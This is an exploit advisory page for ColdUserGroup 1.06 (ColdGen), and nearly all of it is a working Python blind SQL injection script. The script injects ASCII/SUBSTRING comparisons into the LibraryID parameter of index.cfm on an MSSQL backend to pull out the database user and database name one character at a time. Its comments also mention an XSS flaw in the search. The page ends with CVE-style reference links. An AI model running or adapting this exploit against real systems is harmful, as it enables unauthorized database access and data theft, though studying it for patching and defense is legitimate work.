ColdUserGroup 1.06 remote blind SQL injection vulnerability

2010-09-08 / 2010-09-09
Credit: mr_me
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79
CWE-89

#!/usr/bin/python # ColdGen - coldusergroup v1.06 0day Remote Blind SQL Injection Exploit # Vendor: http://www.coldgen.com/ # Found by: mr_me # -----------------------------------------------> # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # -----------------------------------------------> # The vulnerabilities: # =================== # - Blind SQL Injection in the index.cfm using parameters: ArticleID & LibraryID # - XSS in the search # # This tool assumes the target has a MSSQL backend. # ./ColdUsrGrp0day.py -p localhost:8080 -s "Author:" -t localhost:8500 -d /coldusrgrp/ # # | ----------------------------------------------------------------- | # | -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- | # | -------------------[ by mr_me - net-ninja.net ]------------------ | # # (+) Exploiting target @: http://localhost:8500/coldusrgrp/ # (+) Using string 'Author:' for the true page # (+) This will take time, have patience.. # # (+) Testing Proxy... # (+) Proxy @ localhost:8080 # (+) Building Handler.. # # (!) Getting database user: sa # (!) Getting database name: coldusergroup import sys, urllib, re from optparse import OptionParser usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t localhost:8500 -d /coldusrgrp/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS") parser.add_option("-s", type="string", action="store", dest="trueStr", help="String that is on the 'true' page") (options, args) = parser.parse_args() def banner(): print "\n\t| ----------------------------------------------------------------- |" print "\t| -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |" print "\t| -------------------[ by mr_me - net-ninja.net ]------------------ |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) def setTargetHTTP(): if options.target[0:7] != 'http://': options.target = "http://" + options.target return options.target def getProxy(): try: proxy = {'http': "http://"+options.proxy} opener = urllib.FancyURLopener(proxy) except(socket.timeout): print "\n(-) Proxy Timed Out" sys.exit(1) except(),msg: print "\n(-) Proxy Failed" sys.exit(1) return opener def getRequest(exploit): if options.proxy: try: options.target = setTargetHTTP() opener = getProxy() check = opener.open(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) else: try: check = urllib.urlopen(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check basicInfo = {'user':'user_name(0)', 'name':'db_name(0)'} def getBasicInfo(info, x): for i in range(32,126): request = ("index.cfm?actcfug=LibraryView&LibraryID=209+AND+ISNULL" "(ASCII(SUBSTRING(CAST((SELECT+LOWER("+info+"))AS+varchar(8000)),"+str(x)+",1)),0)="+str(i)) result = getRequest(request) if re.search(options.trueStr,result): x = x+1 sys.stdout.write(chr(i)) getBasicInfo(info, x) if __name__ == "__main__": x = 1 banner() options.target = setTargetHTTP() print "(+) Exploiting target @: %s" % (options.target+options.directory) print "(+) Using string '%s' for the true page" % (options.trueStr) print "(+) This will take time, have patience.." if options.proxy: print "\n(+) Testing Proxy..." print "(+) Proxy @ %s" % (options.proxy) print "(+) Building Handler.." for key in basicInfo: sys.stdout.write("\n(!) Getting database " + key + ": ") getBasicInfo(basicInfo[key], x)

References:

http://xforce.iss.net/xforce/xfdb/61638
http://www.securityfocus.com/bid/43035
http://www.exploit-db.com/exploits/14935
http://secunia.com/advisories/41335
http://packetstormsecurity.org/1009-exploits/coldusergroup-sql.txt


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